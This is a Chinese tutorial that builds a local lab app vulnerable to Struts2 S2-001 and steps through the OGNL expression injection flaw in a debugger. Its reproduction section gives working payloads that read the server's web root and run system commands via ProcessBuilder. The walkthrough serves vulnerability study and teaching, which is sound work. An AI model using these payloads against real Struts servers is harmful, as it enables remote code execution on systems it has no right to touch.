IDEA动态调试(一)——OGNL表达式注入(S2-001)

2020-03-12 18:28:18 浏览数 (1)

一、环境搭建:

首先在IDEA中搭建调试环境,File-New-Java Enterprise,选择Web Application:

然后构造项目,这里使用现成的Demo代码:

依次新建web.xml:

代码语言:javascript复制

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">    <display-name>S2-001 Example</display-name>    <filter>        <filter-name>struts2</filter-name>        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>    </filter>    <filter-mapping>        <filter-name>struts2</filter-name>        <url-pattern>/*</url-pattern>    </filter-mapping>    <welcome-file-list>        <welcome-file>index.jsp</welcome-file>    </welcome-file-list></web-app>

前端代码,登录页面index.jsp和登录成功的welcome.jsp:

代码语言:javascript复制
代码语言:javascript复制
<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="login">  <s:textfield name="username" label="username" />  <s:textfield name="password" label="password" />  <s:submit></s:submit></s:form></body></html>
代码语言:javascript复制
代码语言:javascript复制
<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <title>S2-001</title></head><body><p>Hello <s:property value="username"></s:property></p></body></html>

src中新建com.demo.action包,后端处理代码LoginAction.java:

代码语言:javascript复制
代码语言:javascript复制
package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport {    private String username = null;    private String password = null;    public String getUsername() {        return this.username;    }
    public String getPassword() {        return this.password;    }
    public void setUsername(String username) {        this.username = username;    }
    public void setPassword(String password) {        this.password = password;    }
    public String execute() throws Exception {        if ((this.username.isEmpty()) || (this.password.isEmpty())) {            return "error";        }        if ((this.username.equalsIgnoreCase("admin"))                && (this.password.equals("admin"))) {            return "success";        }        return "error";    }}

并在src目录下新建struts.xml:

代码语言:javascript复制
代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE struts PUBLIC        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"        "http://struts.apache.org/dtds/struts-2.0.dtd"><struts>    <package name="S2-001" extends="struts-default">        <action name="login" class="com.demo.action.LoginAction">            <result name="success">welcome.jsp</result>            <result name="error">index.jsp</result>        </action>    </package></struts>

最后在web目录下新建lib目录,放进所需的四个调用jar包,struts包下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip并在File—Project Structure—Dependencies—“ ” 号—JARs将jar包导入:

最后将IDEA连接本地搭建好的Tomcat服务器,Run-EditConfigurations,配置tomcat安装地址及JRE:

二、攻击效果复现:

点击Run之后,进入搭建的环境,系统是在password字段触发的,首先在这里输入%{2 3}:

按代码逻辑,提交后若账号密码错误会将输入打印,发现password被解析:2 3的结果5:

进一步进行攻击,输入payload,如获取web目录:

代码语言:javascript复制
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意代码RCE:

代码语言:javascript复制
%{#a=(new java.lang.ProcessBuilder(newjava.lang.String[]{"calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=newchar[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(newjava.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

三、动态调试

这才到了本文的重点,了解OGNL注入的漏洞原理及触发过程以及动态调试的相关知识。S2-001的漏洞原理是在Struts2重新渲染jsp时,对ognl表达式进行了递归解析,导致了恶意的表达式被执行。我们以Debug方式运行环境:

在此之前需下一断点,系统在运行在这里的地方会停住,在点击Submit,http请求经过tomcat容器的处理之后会到达struts2,所以可以从这里开始调试,ParametersInterceptor类接受我们输入的参数值进行处理:

开启Debug后,输入payload后submit,程序在断点处停下,可观察此时堆栈的情况:

下断点的方法有很多,和二进制逆向的方法类似,下断点的目的是帮助我们定位到关键处理。下断点之后的另一个工作就是调试,主要用的Step into(F7)——遇到方法会进入,和Step over(F8)——不跟进方法内部。

这里也可以在自定义类LoginAction里下断点:

从调用栈中可以看到,在DefaultActionInvocation类中反射调用了我们自定义的类LoginAction

最终都会到达TextParseUtil类,在此处下断点,程序会进入几次,循环将变量转换为对象,所以expression不一样:

读取jsp标签并通过UIBean解析,这里可以Step over直到解析到标签的值:

经过XWorkConverter后expression的值变为%{password}:

由于没有验证,输入%{2 3}被当做表达式进行解析,将解析结果取出继续在while中循环解析,由于结果2不满足表达式规则,将其返回为最终结果。

总结一下,漏洞的根因出现在XWork中ognl表达式的解析方法为递归解析。其他漏洞的动态调试方法也大概如此,后续总结。

0 人点赞